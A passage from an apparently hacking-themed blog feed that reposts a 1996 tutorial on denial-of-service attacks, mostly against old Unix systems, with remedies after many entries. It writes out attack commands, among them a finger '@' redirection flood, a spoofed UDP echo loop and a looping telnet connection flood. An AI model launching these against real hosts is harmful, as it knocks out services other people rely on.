_wipe_ this information. Programs that fill hard disk locations with zeros, then with 1s, on several passes are your best bet to make sure no document goes to the wrong hands. One of such programs is PGP. PHPi now comes with a utility that does this work, and you can even select the number of passes to wipe files. For *nix, there is also the "wipe" program. Use these when you feel you have data that needs secure cleaning.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-5004381679609401566?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/0dH7f4eCc1ZlqxNHmk91LjEQF6I/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0dH7f4eCc1ZlqxNHmk91LjEQF6I/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/0dH7f4eCc1ZlqxNHmk91LjEQF6I/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0dH7f4eCc1ZlqxNHmk91LjEQF6I/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/KaGVhpL1NVE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/5004381679609401566/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/anonymity-complete-guide-by-theraider.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/5004381679609401566?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/5004381679609401566?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/KaGVhpL1NVE/anonymity-complete-guide-by-theraider.html" title="Anonymity complete GUIDE By Theraider &amp; Dangerous R." /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/anonymity-complete-guide-by-theraider.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk8MSH04fSp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-5523119572727523229</id><published>2009-11-03T02:40:00.000-08:00</published><updated>2009-11-03T02:41:29.335-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:41:29.335-08:00</app:edited><title>An Introduction to Denial of Service</title><content type="html">          
&lt;br /&gt;===================================                    
&lt;br /&gt;=INTRODUCTION TO DENIAL OF SERVICE=
&lt;br /&gt;===================================
&lt;br /&gt;
&lt;br /&gt;Hans Husman
&lt;br /&gt;t95hhu@student.tdb.uu.se
&lt;br /&gt;Last updated: Mon Oct 28 14:56:31 MET 1996
&lt;br /&gt;
&lt;br /&gt;.0. FOREWORD
&lt;br /&gt;
&lt;br /&gt;.A. INTRODUCTION
&lt;br /&gt;	.A.1. WHAT IS A DENIAL OF SERVICE ATTACK?
&lt;br /&gt;	.A.2. WHY WOULD SOMEONE CRASH A SYSTEM?
&lt;br /&gt;		.A.2.1. INTRODUCTION
&lt;br /&gt;		.A.2.2. SUB-CULTURAL STATUS
&lt;br /&gt;		.A.2.3. TO GAIN ACCESS
&lt;br /&gt;		.A.2.4. REVENGE
&lt;br /&gt;		.A.2.5. POLITICAL REASONS
&lt;br /&gt;		.A.2.6. ECONOMICAL REASONS
&lt;br /&gt;		.A.2.7. NASTINESS
&lt;br /&gt;	.A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?
&lt;br /&gt;
&lt;br /&gt;.B. SOME BASIC TARGETS FOR AN ATTACK
&lt;br /&gt;	.B.1. SWAP SPACE
&lt;br /&gt;	.B.2. BANDWIDTH
&lt;br /&gt;	.B.3. KERNEL TABLES
&lt;br /&gt;	.B.4. RAM
&lt;br /&gt;	.B.5. DISKS
&lt;br /&gt;	.B.6. CACHES
&lt;br /&gt;	.B.7. INETD
&lt;br /&gt;
&lt;br /&gt;.C. ATTACKING FROM THE OUTSIDE
&lt;br /&gt;	.C.1. TAKING ADVANTAGE OF FINGER
&lt;br /&gt;	.C.2. UDP AND SUNOS 4.1.3.
&lt;br /&gt;	.C.3. FREEZING UP X-WINDOWS
&lt;br /&gt;	.C.4. MALICIOUS USE OF UDP SERVICES
&lt;br /&gt;    	.C.5. ATTACKING WITH LYNX CLIENTS
&lt;br /&gt;	.C.6. MALICIOUS USE OF telnet
&lt;br /&gt;	.C.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
&lt;br /&gt;	.C.8. HOW TO DISABLE ACCOUNTS
&lt;br /&gt;	.C.9. LINUX AND TCP TIME, DAYTIME
&lt;br /&gt;	.C.10. HOW TO DISABLE SERVICES
&lt;br /&gt;	.C.11. PARAGON OS BETA R1.4
&lt;br /&gt;	.C.12. NOVELLS NETWARE FTP
&lt;br /&gt;	.C.13. ICMP REDIRECT ATTACKS
&lt;br /&gt;	.C.14. BROADCAST STORMS
&lt;br /&gt;	.C.15. EMAIL BOMBING AND SPAMMING
&lt;br /&gt;	.C.16. TIME AND KERBEROS
&lt;br /&gt;	.C.17. THE DOT DOT BUG
&lt;br /&gt;	.C.18. SUNOS KERNEL PANIC
&lt;br /&gt;	.C.19. HOSTILE APPLETS
&lt;br /&gt;	.C.20. VIRUS
&lt;br /&gt;	.C.21. ANONYMOUS FTP ABUSE
&lt;br /&gt;	.C.22. SYN FLOODING
&lt;br /&gt;	.C.23. PING FLOODING
&lt;br /&gt;	.C.24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
&lt;br /&gt;	.C.25. MALICIOUS USE OF SUBNET MASK REPLY MESSAGE
&lt;br /&gt;	.C.26. FLEXlm
&lt;br /&gt;	.C.27. BOOTING WITH TRIVIAL FTP
&lt;br /&gt;
&lt;br /&gt;.D. ATTACKING FROM THE INSIDE
&lt;br /&gt;	.D.1. KERNEL PANIC UNDER SOLARIS 2.3
&lt;br /&gt;	.D.2. CRASHING THE X-SERVER
&lt;br /&gt;	.D.3. FILLING UP THE HARD DISK
&lt;br /&gt;	.D.4. MALICIOUS USE OF eval
&lt;br /&gt;	.D.5. MALICIOUS USE OF fork()
&lt;br /&gt;	.D.6. CREATING FILES THAT IS HARD TO REMOVE
&lt;br /&gt;	.D.7. DIRECTORY NAME LOOKUPCACHE
&lt;br /&gt;	.D.8. CSH ATTACK
&lt;br /&gt;	.D.9. CREATING FILES IN /tmp
&lt;br /&gt;	.D.10. USING RESOLV_HOST_CONF
&lt;br /&gt;	.D.11. SUN 4.X AND BACKGROUND JOBS	
&lt;br /&gt;	.D.12. CRASHING DG/UX WITH ULIMIT 
&lt;br /&gt;	.D.13. NETTUNE AND HP-UX
&lt;br /&gt;	.D.14. SOLARIS 2.X AND NFS
&lt;br /&gt;	.D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION
&lt;br /&gt;	.D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X
&lt;br /&gt;
&lt;br /&gt;.E. DUMPING CORE
&lt;br /&gt;	.E.1. SHORT COMMENT
&lt;br /&gt;	.E.2. MALICIOUS USE OF NETSCAPE
&lt;br /&gt;	.E.3. CORE DUMPED UNDER WUFTPD
&lt;br /&gt;	.E.4. ld UNDER SOLARIS/X86
&lt;br /&gt;
&lt;br /&gt;.F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?
&lt;br /&gt;	.F.1. BASIC SECURITY PROTECTION
&lt;br /&gt;		.F.1.1. INTRODUCTION
&lt;br /&gt;		.F.1.2. PORT SCANNING
&lt;br /&gt;		.F.1.3. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER
&lt;br /&gt;		.F.1.4. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER
&lt;br /&gt;		.F.1.5. EXTRA SECURITY SYSTEMS
&lt;br /&gt;		.F.1.6. MONITORING SECURITY
&lt;br /&gt;		.F.1.7. KEEPING UP TO DATE
&lt;br /&gt;		.F.1.8. READ SOMETHING BETTER
&lt;br /&gt;	.F.2. MONITORING PERFORMANCE
&lt;br /&gt;		.F.2.1. INTRODUCTION
&lt;br /&gt;		.F.2.2. COMMANDS AND SERVICES                      
&lt;br /&gt;		.F.2.3. PROGRAMS
&lt;br /&gt;		.F.2.4. ACCOUNTING
&lt;br /&gt;
&lt;br /&gt;.G. SUGGESTED READING
&lt;br /&gt;	.G.1. INFORMATION FOR DEEPER KNOWLEDGE
&lt;br /&gt;	.G.2. KEEPING UP TO DATE INFORMATION
&lt;br /&gt;	.G.3. BASIC INFORMATION
&lt;br /&gt;
&lt;br /&gt;.H. COPYRIGHT
&lt;br /&gt;
&lt;br /&gt;.I. DISCLAIMER
&lt;br /&gt;
&lt;br /&gt;.0. FOREWORD
&lt;br /&gt;------------
&lt;br /&gt;
&lt;br /&gt;In this paper I have tried to answer the following questions:
&lt;br /&gt;
&lt;br /&gt;	- What is a denial of service attack?
&lt;br /&gt;	- Why would someone crash a system?
&lt;br /&gt;	- How can someone crash a system.
&lt;br /&gt;	- How do I protect a system against denial of service attacks?
&lt;br /&gt;	
&lt;br /&gt;I also have a section called SUGGESTED READING were you can find
&lt;br /&gt;information about good free information that can give you a deeper
&lt;br /&gt;understanding about something.
&lt;br /&gt;
&lt;br /&gt;Note that I have a very limited experience with Macintosh, OS/2 and
&lt;br /&gt;Windows and most of the material are therefore for Unix use. 
&lt;br /&gt;
&lt;br /&gt;You can always find the latest version at the following address:
&lt;br /&gt;http://www.student.tdb.uu.se/~t95hhu/secure/denial/DENIAL.TXT
&lt;br /&gt;
&lt;br /&gt;Feel free to send comments, tips and so on to address:
&lt;br /&gt;t95hhu@student.tdb.uu.se
&lt;br /&gt;
&lt;br /&gt;.A. INTRODUCTION
&lt;br /&gt;~~~~~~~~~~~~~~~~
&lt;br /&gt;
&lt;br /&gt;.A.1. WHAT IS A DENIAL OF SERVICE ATTACK?
&lt;br /&gt;-----------------------------------------
&lt;br /&gt;
&lt;br /&gt;Denial of service is about without permission knocking off
&lt;br /&gt;services, for example through crashing the whole system. This
&lt;br /&gt;kind of attacks are easy to launch and it is hard to protect
&lt;br /&gt;a system against them. The basic problem is that Unix
&lt;br /&gt;assumes that users on the system or on other systems will be
&lt;br /&gt;well behaved. 
&lt;br /&gt;
&lt;br /&gt;.A.2. WHY WOULD SOMEONE CRASH A SYSTEM?
&lt;br /&gt;---------------------------------------
&lt;br /&gt; 
&lt;br /&gt;.A.2.1. INTRODUCTION
&lt;br /&gt;--------------------
&lt;br /&gt;
&lt;br /&gt;Why would someone crash a system? I can think of several reasons
&lt;br /&gt;that I have presentated more precisely in a section for each reason,
&lt;br /&gt;but for short:
&lt;br /&gt;
&lt;br /&gt;	.1. Sub-cultural status.
&lt;br /&gt;	.2. To gain access.
&lt;br /&gt;	.3. Revenge.
&lt;br /&gt;	.4. Political reasons.
&lt;br /&gt;	.5. Economical reasons.
&lt;br /&gt;	.6. Nastiness.
&lt;br /&gt;
&lt;br /&gt;I think that number one and six are the more common today, but that
&lt;br /&gt;number four and five will be the more common ones in the future.
&lt;br /&gt;
&lt;br /&gt;.A.2.2. SUB-CULTURAL STATUS
&lt;br /&gt;---------------------------
&lt;br /&gt;
&lt;br /&gt;After all information about syn flooding a bunch of such attacks
&lt;br /&gt;were launched around Sweden. The very most of these attacks were
&lt;br /&gt;not a part of a IP-spoof attack, it was "only" a denial of service
&lt;br /&gt;attack. Why? 
&lt;br /&gt;
&lt;br /&gt;I think that hackers attack systems as a sub-cultural pseudo career
&lt;br /&gt;and I think that many denial of service attacks, and here in the
&lt;br /&gt;example syn flooding, were performed for these reasons. I also think
&lt;br /&gt;that many hackers begin their carrer with denial of service attacks.
&lt;br /&gt;
&lt;br /&gt;.A.2.3. TO GAIN ACCESS
&lt;br /&gt;----------------------
&lt;br /&gt;
&lt;br /&gt;Sometimes could a denial of service attack be a part of an attack to
&lt;br /&gt;gain access at a system. At the moment I can think of these reasons
&lt;br /&gt;and specific holes:
&lt;br /&gt;
&lt;br /&gt;	.1. Some older X-lock versions could be crashed with a 
&lt;br /&gt;	method from the denial of service family leaving the system
&lt;br /&gt;	open. Physical access was needed to use the work space after.
&lt;br /&gt;
&lt;br /&gt;	.2. Syn flooding could be a part of a IP-spoof attack method.
&lt;br /&gt;
&lt;br /&gt;	.3. Some program systems could have holes under the startup, 
&lt;br /&gt;	that could be used to gain root, for example SSH (secure shell).
&lt;br /&gt;
&lt;br /&gt;	.4. Under an attack it could be usable to crash other machines
&lt;br /&gt;	in the network or to deny certain persons the ability to access 
&lt;br /&gt;	the system.  	
&lt;br /&gt;
&lt;br /&gt;	.5. Also could a system being booted sometimes be subverted,
&lt;br /&gt;	especially rarp-boots. If we know which port the machine listen
&lt;br /&gt;	to (69 could be a good guess) under the boot we can send false
&lt;br /&gt;	packets to it and almost totally control the boot.
&lt;br /&gt;
&lt;br /&gt;.A.2.4. REVENGE
&lt;br /&gt;---------------
&lt;br /&gt;
&lt;br /&gt;A denial of service attack could be a part of a revenge against a user
&lt;br /&gt;or an administrator.
&lt;br /&gt;
&lt;br /&gt;.A.2.5. POLITICAL REASONS
&lt;br /&gt;-------------------------
&lt;br /&gt;
&lt;br /&gt;Sooner or later will new or old organizations understand the potential
&lt;br /&gt;of destroying computer systems and find tools to do it.
&lt;br /&gt;
&lt;br /&gt;For example imaginate the Bank A loaning company B money to build a
&lt;br /&gt;factory threating the environment. The organization C therefor crash A:s
&lt;br /&gt;computer system, maybe with help from an employee. The attack could cost
&lt;br /&gt;A a great deal of money if the timing is right.
&lt;br /&gt;
&lt;br /&gt;.A.2.6. ECONOMICAL REASONS
&lt;br /&gt;--------------------------
&lt;br /&gt;
&lt;br /&gt;Imaginate the small company A moving into a business totally dominated by
&lt;br /&gt;company B. A and B customers make the orders by computers and depends
&lt;br /&gt;heavily on that the order is done in a specific time (A and B could be
&lt;br /&gt;stock trading companies). If A and B can't perform the order the customers
&lt;br /&gt;lose money and change company.
&lt;br /&gt;
&lt;br /&gt;As a part of a business strategy A pays a computer expert a sum of money to
&lt;br /&gt;get him to crash B:s computer systems a number of times. A year later A
&lt;br /&gt;is the dominating company.
&lt;br /&gt;
&lt;br /&gt;.A.2.7. NASTINESS
&lt;br /&gt;-----------------
&lt;br /&gt;
&lt;br /&gt;I know a person that found a workstation where the user had forgotten to
&lt;br /&gt;logout. He sat down and wrote a program that made a kill -9 -1 at a
&lt;br /&gt;random time at least 30 minutes after the login time and placed a call to
&lt;br /&gt;the program from the profile file. That is nastiness.
&lt;br /&gt;
&lt;br /&gt;.A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?
&lt;br /&gt;---------------------------------------------
&lt;br /&gt;
&lt;br /&gt;This is a hard question to answer and I don't think that it will
&lt;br /&gt;give anything to compare different Unix platforms. You can't say that
&lt;br /&gt;one Unix is more secure against denial of service, it is all up to the
&lt;br /&gt;administrator.
&lt;br /&gt;
&lt;br /&gt;A comparison between Windows 95 and NT on one side and Unix on the
&lt;br /&gt;other could however be interesting.
&lt;br /&gt;
&lt;br /&gt;Unix systems are much more complex and have hundreds of built in programs,
&lt;br /&gt;services... This always open up many ways to crash the system from
&lt;br /&gt;the inside.
&lt;br /&gt;
&lt;br /&gt;In the normal Windows NT and 95 network were is few ways to crash
&lt;br /&gt;the system. Although were is methods that always will work.
&lt;br /&gt;
&lt;br /&gt;That gives us that no big different between Microsoft and Unix can
&lt;br /&gt;be seen regardning the inside attacks. But there is a couple of
&lt;br /&gt;points left:
&lt;br /&gt;
&lt;br /&gt;	- Unix have much more tools and programs to discover an
&lt;br /&gt;	attack and monitoring the users. To watch what another user
&lt;br /&gt;	is up to under windows is very hard.
&lt;br /&gt;
&lt;br /&gt;	- The average Unix administrator probably also have much more
&lt;br /&gt;	experience than the average Microsoft administrator.
&lt;br /&gt;
&lt;br /&gt;The two last points gives that Unix is more secure against inside
&lt;br /&gt;denial of service attacks.
&lt;br /&gt;
&lt;br /&gt;A comparison between Microsoft and Unix regarding outside attacks
&lt;br /&gt;are much more difficult. However I would like to say that the average
&lt;br /&gt;Microsoft system on the Internet are more secure against outside
&lt;br /&gt;attacks, because they normally have much less services.
&lt;br /&gt;
&lt;br /&gt;.B. SOME BASIC TARGETS FOR AN ATTACK
&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&lt;br /&gt;
&lt;br /&gt;.B.1. SWAP SPACE
&lt;br /&gt;----------------
&lt;br /&gt;
&lt;br /&gt;Most systems have several hundred Mbytes of swap space to 
&lt;br /&gt;service client requests. The swap space is typical used
&lt;br /&gt;for forked child processes which have a short life time.
&lt;br /&gt;The swap space will therefore almost never in a normal
&lt;br /&gt;cause be used heavily. A denial of service could be based 
&lt;br /&gt;on a method that tries to fill up the swap space.
&lt;br /&gt;
&lt;br /&gt;.B.2. BANDWIDTH
&lt;br /&gt;---------------
&lt;br /&gt;
&lt;br /&gt;If the bandwidth is to high the network will be useless. Most
&lt;br /&gt;denial of service attack influence the bandwidth in some way.
&lt;br /&gt;
&lt;br /&gt;.B.3. KERNEL TABLES
&lt;br /&gt;-------------------
&lt;br /&gt;
&lt;br /&gt;It is trivial to overflow the kernel tables which will cause
&lt;br /&gt;serious problems on the system. Systems with write through
&lt;br /&gt;caches and small write buffers is especially sensitive.
&lt;br /&gt;
&lt;br /&gt;Kernel memory allocation is also a target that is sensitive.
&lt;br /&gt;The kernel have a kernelmap limit, if the system reach this
&lt;br /&gt;limit it can not allocate more kernel memory and must be rebooted.
&lt;br /&gt;The kernel memory is not only used for RAM, CPU:s, screens and so
&lt;br /&gt;on, it it also used for ordinaries processes. Meaning that any system
&lt;br /&gt;can be crashed and with a mean (or in some sense good) algorithm pretty
&lt;br /&gt;fast.
&lt;br /&gt;
&lt;br /&gt;For Solaris 2.X it is measured and reported with the sar command
&lt;br /&gt;how much kernel memory the system is using, but for SunOS 4.X there
&lt;br /&gt;is no such command. Meaning that under SunOS 4.X you don't even can
&lt;br /&gt;get a warning. If you do use Solaris you should write sar -k 1 to
&lt;br /&gt;get the information. netstat -k can also be used and shows how much
&lt;br /&gt;memory the kernel have allocated in the subpaging.
&lt;br /&gt; 
&lt;br /&gt;.B.4. RAM
&lt;br /&gt;---------
&lt;br /&gt;
&lt;br /&gt;A denial of service attack that allocates a large amount of RAM
&lt;br /&gt;can make a great deal of problems. NFS and mail servers are 
&lt;br /&gt;actually extremely sensitive because they do not need much
&lt;br /&gt;RAM and therefore often don't have much RAM. An attack at 
&lt;br /&gt;a NFS server is trivial. The normal NFS client will do a 
&lt;br /&gt;great deal of caching, but a NFS client can be anything 
&lt;br /&gt;including the program you wrote yourself...
&lt;br /&gt;
&lt;br /&gt;.B.5. DISKS
&lt;br /&gt;-----------
&lt;br /&gt;
&lt;br /&gt;A classic attack is to fill up the hard disk, but an attack at
&lt;br /&gt;the disks can be so much more. For example can an overloaded disk
&lt;br /&gt;be misused in many ways.
&lt;br /&gt;
&lt;br /&gt;.B.6. CACHES
&lt;br /&gt;-------------
&lt;br /&gt;
&lt;br /&gt;A denial of service attack involving caches can be based on a method
&lt;br /&gt;to block the cache or to avoid the cache.
&lt;br /&gt;
&lt;br /&gt;These caches are found on Solaris 2.X:
&lt;br /&gt;
&lt;br /&gt;Directory name lookup cache: Associates the name of a file with a vnode.
&lt;br /&gt;
&lt;br /&gt;Inode cache: Cache information read from disk in case it is needed
&lt;br /&gt;again.
&lt;br /&gt;
&lt;br /&gt;Rnode cache: Holds information about the NFS filesystem.
&lt;br /&gt;
&lt;br /&gt;Buffer cache: Cache inode indirect blocks and cylinders to realed disk
&lt;br /&gt;I/O.
&lt;br /&gt;
&lt;br /&gt;.B.7. INETD
&lt;br /&gt;-----------
&lt;br /&gt;
&lt;br /&gt;Well once inetd crashed all other services running through inetd no
&lt;br /&gt;longer will work.
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;.C. ATTACKING FROM THE OUTSIDE
&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;.C.1. TAKING ADVANTAGE OF FINGER
&lt;br /&gt;--------------------------------
&lt;br /&gt;
&lt;br /&gt;Most fingerd installations support redirections to an other host.
&lt;br /&gt;
&lt;br /&gt;Ex:
&lt;br /&gt;
&lt;br /&gt;	$finger @system.two.com@system.one.com
&lt;br /&gt;
&lt;br /&gt;finger will in the example go through system.one.com and on to
&lt;br /&gt;system.two.com. As far as system.two.com knows it is system.one.com
&lt;br /&gt;who is fingering. So this method can be used for hiding, but also
&lt;br /&gt;for a very dirty denial of service attack. Lock at this:
&lt;br /&gt;
&lt;br /&gt;	$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack
&lt;br /&gt;
&lt;br /&gt;All those @ signs will get finger to finger host.we.attack again and
&lt;br /&gt;again and again... The effect on host.we.attack is powerful and
&lt;br /&gt;the result is high bandwidth, short free memory and a hard disk with
&lt;br /&gt;less free space, due to all child processes (compare with .D.5.).
&lt;br /&gt;
&lt;br /&gt;The solution is to install a fingerd which don't support redirections,
&lt;br /&gt;for example GNU finger. You could also turn the finger service off,
&lt;br /&gt;but I think that is just a bit to much.
&lt;br /&gt;
&lt;br /&gt;.C.2. UDP AND SUNOS 4.1.3.
&lt;br /&gt;--------------------------
&lt;br /&gt;
&lt;br /&gt;SunOS 4.1.3. is known to boot if a packet with incorrect information
&lt;br /&gt;in the header is sent to it. This is the cause if the ip_options
&lt;br /&gt;indicate a wrong size of the packet.
&lt;br /&gt;
&lt;br /&gt;The solution is to install the proper patch.
&lt;br /&gt;
&lt;br /&gt;.C.3. FREEZING UP X-WINDOWS
&lt;br /&gt;---------------------------
&lt;br /&gt;
&lt;br /&gt;If a host accepts a telnet session to the X-Windows port (generally
&lt;br /&gt;somewhere between 6000 and 6025. In most cases 6000) could that
&lt;br /&gt;be used to freeze up the X-Windows system. This can be made with
&lt;br /&gt;multiple telnet connections to the port or with a program which
&lt;br /&gt;sends multiple XOpenDisplay() to the port.
&lt;br /&gt;
&lt;br /&gt;The same thing can happen to Motif or Open Windows.
&lt;br /&gt;
&lt;br /&gt;The solution is to deny connections to the X-Windows port.
&lt;br /&gt;
&lt;br /&gt;.C.4. MALICIOUS USE OF UDP SERVICES
&lt;br /&gt;-----------------------------------
&lt;br /&gt;
&lt;br /&gt;It is simple to get UDP services (echo, time, daytime, chargen) to 
&lt;br /&gt;loop, due to trivial IP-spoofing. The effect can be high bandwidth 
&lt;br /&gt;that causes the network to become useless. In the example the header 
&lt;br /&gt;claim that the packet came from 127.0.0.1 (loopback) and the target 
&lt;br /&gt;is the echo port at system.we.attack. As far as system.we.attack knows 
&lt;br /&gt;is 127.0.0.1 system.we.attack and the loop has been establish. 
&lt;br /&gt;
&lt;br /&gt;Ex:
&lt;br /&gt;
&lt;br /&gt;	from-IP=127.0.0.1
&lt;br /&gt;	to-IP=system.we.attack
&lt;br /&gt;	Packet type:UDP
&lt;br /&gt;	from UDP port 7
&lt;br /&gt;	to UDP port 7
&lt;br /&gt;
&lt;br /&gt;Note that the name system.we.attack looks like a DNS-name, but the
&lt;br /&gt;target should always be represented by the IP-number.
&lt;br /&gt;
&lt;br /&gt;Quoted from proberts@clark.net (Paul D. Robertson) comment on
&lt;br /&gt;comp.security.firewalls on matter of "Introduction to denial of service"
&lt;br /&gt; 
&lt;br /&gt;	" A great deal of systems don't put loopback on the wire, and simply
&lt;br /&gt;	emulate it.  Therefore, this attack will only effect that machine 
&lt;br /&gt;	in some cases.  It's much better to use the address of a different 
&lt;br /&gt;	machine on the same network.  Again, the default services should 
&lt;br /&gt;	be disabled in inetd.conf.  Other than some hacks for mainframe IP 
&lt;br /&gt;	stacks that don't support ICMP, the echo service isn't used by many 
&lt;br /&gt;	legitimate programs, and TCP echo should be used instead of UDP 
&lt;br /&gt;	where it is necessary. "
&lt;br /&gt;
&lt;br /&gt;.C.5. ATTACKING WITH LYNX CLIENTS
&lt;br /&gt;---------------------------------
&lt;br /&gt;
&lt;br /&gt;A World Wide Web server will fork an httpd process as a respond
&lt;br /&gt;to a request from a client, typical Netscape or Mosaic. The process
&lt;br /&gt;lasts for less than one second and the load will therefore never
&lt;br /&gt;show up if someone uses ps. In most causes it is therefore very
&lt;br /&gt;safe to launch a denial of service attack that makes use of 
&lt;br /&gt;multiple W3 clients, typical lynx clients. But note that the netstat
&lt;br /&gt;command could be used to detect the attack (thanks to Paul D. Robertson).
&lt;br /&gt;
&lt;br /&gt;Some httpd:s (for example http-gw) will have problems besides the normal
&lt;br /&gt;high bandwidth, low memory... And the attack can in those causes get
&lt;br /&gt;the server to loop (compare with .C.6.)
&lt;br /&gt;
&lt;br /&gt;.C.6. MALICIOUS USE OF telnet
&lt;br /&gt;-----------------------------
&lt;br /&gt;
&lt;br /&gt;Study this little script:
&lt;br /&gt;
&lt;br /&gt;Ex:
&lt;br /&gt;
&lt;br /&gt;	while : ; do
&lt;br /&gt;	telnet system.we.attack &amp;
&lt;br /&gt;	done
&lt;br /&gt;
&lt;br /&gt;An attack using this script might eat some bandwidth, but it is
&lt;br /&gt;nothing compared to the finger method or most other methods. Well
&lt;br /&gt;the point is that some pretty common firewalls and httpd:s thinks
&lt;br /&gt;that the attack is a loop and turn them self down, until the
&lt;br /&gt;administrator sends kill -HUP. 
&lt;br /&gt;
&lt;br /&gt;This is a simple high risk vulnerability that should be checked
&lt;br /&gt;and if present fixed.
&lt;br /&gt;
&lt;br /&gt;.C.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
&lt;br /&gt;-----------------------------------------------
&lt;br /&gt;
&lt;br /&gt;If the attacker makes a telnet connections to the Solaris 2.4 host and
&lt;br /&gt;quits using:
&lt;br /&gt;
&lt;br /&gt;Ex:
&lt;br /&gt;
&lt;br /&gt;	Control-}
&lt;br /&gt;	quit
&lt;br /&gt;
&lt;br /&gt;then will inetd keep going "forever". Well a couple of hundred...
&lt;br /&gt;
&lt;br /&gt;The solution is to install the proper patch.
&lt;br /&gt;
&lt;br /&gt;.C.8. HOW TO DISABLE ACCOUNTS
&lt;br /&gt;-----------------------------
&lt;br /&gt;
&lt;br /&gt;Some systems disable an account after N number of bad logins, or waits
&lt;br /&gt;N seconds. You can use this feature to lock out specific users from
&lt;br /&gt;the system.
&lt;br /&gt;
&lt;br /&gt;.C.9. LINUX AND TCP TIME, DAYTIME
&lt;br /&gt;----------------------------------
&lt;br /&gt;
&lt;br /&gt;Inetd under Linux is known to crash if to many SYN packets sends to
&lt;br /&gt;daytime (port 13) and/or time (port 37).
&lt;br /&gt;
&lt;br /&gt;The solution is to install the proper patch.
&lt;br /&gt;
&lt;br /&gt;.C.10. HOW TO DISABLE SERVICES
&lt;br /&gt;------------------------------
&lt;br /&gt;
&lt;br /&gt;Most Unix systems disable a service after N sessions have been
&lt;br /&gt;open in a given time. Well most systems have a reasonable default
&lt;br /&gt;(lets say 800 - 1000), but not some SunOS systems that have the
&lt;br /&gt;default set to 48...
&lt;br /&gt;
&lt;br /&gt;The solutions is to set the number to something reasonable.
&lt;br /&gt;
&lt;br /&gt;.C.11. PARAGON OS BETA R1.4
&lt;br /&gt;---------------------------
&lt;br /&gt;
&lt;br /&gt;If someone redirects an ICMP (Internet Control Message Protocol) packet
&lt;br /&gt;to a paragon OS beta R1.4 will the machine freeze up and must be
&lt;br /&gt;rebooted. An ICMP redirect tells the system to override routing
&lt;br /&gt;tables. Routers use this to tell the host that it is sending
&lt;br /&gt;to the wrong router. 
&lt;br /&gt;
&lt;br /&gt;The solution is to install the proper patch.
&lt;br /&gt;
&lt;br /&gt;.C.12. NOVELLS NETWARE FTP
&lt;br /&gt;--------------------------
&lt;br /&gt;
&lt;br /&gt;Novells Netware FTP server is known to get short of memory if multiple
&lt;br /&gt;ftp sessions connects to it.
&lt;br /&gt;
&lt;br /&gt;.C.13. ICMP REDIRECT ATTACKS
&lt;br /&gt;----------------------------
&lt;br /&gt;
&lt;br /&gt;Gateways uses ICMP redirect to tell the system to override routing
&lt;br /&gt;tables, that is telling the system to take a better way. To be able
&lt;br /&gt;to misuse ICMP redirection we must know an existing connection
&lt;br /&gt;(well we could make one for ourself, but there is not much use for that). 
&lt;br /&gt;If we have found a connection we can send a route that
&lt;br /&gt;loses it connectivity or we could send false messages to the host
&lt;br /&gt;if the connection we have found don't use cryptation.  
&lt;br /&gt;
&lt;br /&gt;Ex: (false messages to send)
&lt;br /&gt;
&lt;br /&gt;	DESTINATION UNREACHABLE 
&lt;br /&gt;	TIME TO LIVE EXCEEDED
&lt;br /&gt;	PARAMETER PROBLEM
&lt;br /&gt;	PACKET TOO BIG
&lt;br /&gt;
&lt;br /&gt;The effect of such messages is a reset of the connection.
&lt;br /&gt;
&lt;br /&gt;The solution could be to turn ICMP redirects off, not much proper use
&lt;br /&gt;of the service.
&lt;br /&gt;
&lt;br /&gt;.C.14. BROADCAST STORMS
&lt;br /&gt;-----------------------
&lt;br /&gt;
&lt;br /&gt;This is a very popular method in networks there all of the hosts are
&lt;br /&gt;acting as gateways. 
&lt;br /&gt;
&lt;br /&gt;There are many versions of the attack, but the basic method is to 
&lt;br /&gt;send a lot of packets to all hosts in the network with a destination 
&lt;br /&gt;that don't exist. Each host will try to forward each packet so 
&lt;br /&gt;the packets will bounce around for a long time. And if new packets 
